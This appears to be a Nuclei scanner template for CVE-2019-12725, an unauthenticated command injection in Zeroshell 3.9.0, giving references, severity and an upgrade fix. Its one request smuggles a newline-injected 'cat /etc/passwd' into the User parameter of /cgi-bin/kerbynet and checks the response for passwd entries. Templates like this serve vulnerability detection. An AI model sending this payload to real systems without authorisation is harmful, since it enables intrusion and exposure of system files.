id: CVE-2019-12725 info: name: Zeroshell 3.9.0 Remote Command Execution author: dwisiswant0,akincibor severity: critical description: Zeroshell 3.9.0 is prone to a remote command execution vulnerability. Specifically, this issue occurs because the web application mishandles a few HTTP parameters. An unauthenticated attacker can exploit this issue by injecting OS commands inside the vulnerable parameters. reference: - https://www.zeroshell.org/new-release-and-critical-vulnerability/ - https://www.tarlogic.com/advisories/zeroshell-rce-root.txt - https://github.com/X-C3LL/PoC-CVEs/blob/master/CVE-2019-12725/ZeroShell-RCE-EoP.py - https://zeroshell.org/blog/ remediation: Upgrade to 3.9.5. Be aware this product is no longer supported. classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2019-12725 cwe-id: CWE-78 tags: cve,cve2019,rce,zeroshell requests: - method: GET path: - "{{BaseURL}}/cgi-bin/kerbynet?Action=StartSessionSubmit&User='%0acat%20/etc/passwd%0a'&PW=" matchers-condition: and matchers: - type: status status: - 200 - type: regex part: body regex: - "root:.*:0:0:" # Enhanced by mp on 2022/03/29